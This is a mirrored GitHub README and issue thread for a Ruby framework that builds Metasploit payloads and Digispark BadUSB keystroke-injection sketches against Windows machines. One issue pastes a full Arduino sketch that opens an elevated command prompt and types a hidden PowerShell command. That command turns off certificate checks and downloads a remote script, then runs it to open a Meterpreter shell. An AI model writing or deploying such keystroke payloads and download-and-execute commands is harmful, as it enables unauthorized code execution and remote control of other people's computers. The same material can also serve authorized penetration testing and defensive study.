Giter VIP home page Giter VIP logo

digispark-meterpreter-framework's Introduction

Digispark-Meterpreter-Framework

A ruby framework which writes the Digispark arduino code for you by specifying a metasploit payload, beneficial for time saving, efficient when implemented to Kali Linux (for fast shells lovers).

Getting Started

Features

  1. Generate a shellcode based on the chosen payload.
  2. Generate a powershell script containing the payload.
  3. Generate a ready Digispark arduino code (Currently support Azerty/Qwerty Windows targets, more operating systems will be supported in the future).
  4. Option to self-host the powershell script on the go using a ruby server.

Prerequisites and Dependencies

  • Kali Linux distribution or any distro running these tools: MsfVenom and Metasploit. (Note that Kali Linux includes everything required for this framework to run).
  • Ruby

How to use

Run (root): (Tested on KALI Linux)

sudo git clone https://github.com/nassimosaz/Digispark-Meterpreter-Framework.git && cd Digispark-Meterpreter-Framework && chmod +x main.rb
sudo ruby main.rb

Contributing

Please read CONTRIBUTING.md for details on our code of conduct, and the process for submitting pull requests to us.

Authors

License

This project is licensed under the MIT License - see the LICENSE file for details

digispark-meterpreter-framework's People

Contributors

nassimbentarka avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

digispark-meterpreter-framework's Issues

Error:No such file or directory @ rb_sysopen

Traceback (most recent call last):
3: from /usr/bin/digispark-msf:55:in <main>' 2: from /etc/digispark-msf/lib/core.rb:59:in powershell_command'
1: from /etc/digispark-msf/lib/core.rb:176:in digispark' /etc/digispark-msf/lib/core.rb:176:in read': No such file or directory @ rb_sysopen - /usr/bin/templates/rapid_shell-qwerty.template (Errno::ENOENT)

rapid shell

Hello,
An error occurs when typing the script on digispark ( under this section ( void loop() { )

// This script is designed for use on Windows machines with QWERTY as a keyboard layout
// As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout.
// For more scripts checkout: https://git.io/vAGf4
// Developer: NBN | 02/13/2018 @19:00
void setup() {
// Initialize the digital pin as an output.
pinMode(1, OUTPUT); //LED on Model A
}
void cmd_1() {
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
DigiKeyboard.delay(1500);
DigiKeyboard.print("cmd");
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void cmd_2() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell -windowstyle hidden Start-Process cmd -Verb runAs");
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
// Infinite loop
void loop() {

DigiKeyboard.sendKeyStroke(0); <<<<<<<<<HERE
DigiKeyboard.delay(500);
digitalWrite(1, HIGH); // LED on <--> Action start
// cmd_1(); // Open CMD in Administrator Privileges - METHOD 1 (UNCOMMENT TO USE)
cmd_2(); // Open CMD in Administrator Privileges - METHOD 2 (UNCOMMENT TO USE)
DigiKeyboard.delay(1500);
DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
// DigiKeyboard.delay(250);
// DigiKeyboard.println("cd %TEMP%");
// DigiKeyboard.delay(250);
// DigiKeyboard.println("copy con tmp.cmd");
// DigiKeyboard.delay(500);
// DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s");
// DigiKeyboard.delay(250);
DigiKeyboard.println("powershell -windowstyle hidden "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };IEX (New-Object Net.WebClient).DownloadString('http://????.000webhostapp.com/powershell_script.ps1')""); // Do not delete "http://????.000webhostapp.com/powershell_script.ps1", it is a index.
// DigiKeyboard.delay(250);
// DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// DigiKeyboard.delay(500);
// DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC)
digitalWrite(1, LOW); // LED off <--> Action end
DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.